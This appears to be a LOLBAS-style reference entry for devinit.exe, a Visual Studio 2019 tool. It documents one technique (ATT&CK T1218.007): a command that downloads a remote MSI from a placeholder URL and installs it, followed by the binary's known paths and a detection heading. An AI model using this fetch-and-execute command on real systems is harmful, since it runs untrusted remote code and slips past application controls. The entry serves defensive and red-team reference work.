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Devinit.exe

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Visual Studio 2019 tool

Execute
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

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EXAMPLE 01T1218.007

Downloads an MSI file to C:\Windows\Installer and then installs it.

COMMAND
devinit.exe run -t msi-install -i {REMOTEURL:.msi}
USE CASE
Executes code from a (remote) MSI file.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · MSIExecute · Remote
02 / ON DISK

Known paths

C:\Program Files\Microsoft Visual Studio\<version>\Community\Common7\Tools\devinit\devinit.exe
C:\Program Files (x86)\Microsoft Visual Studio\<version>\Community\Common7\Tools\devinit\devinit.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

mr.d0x@mrd0x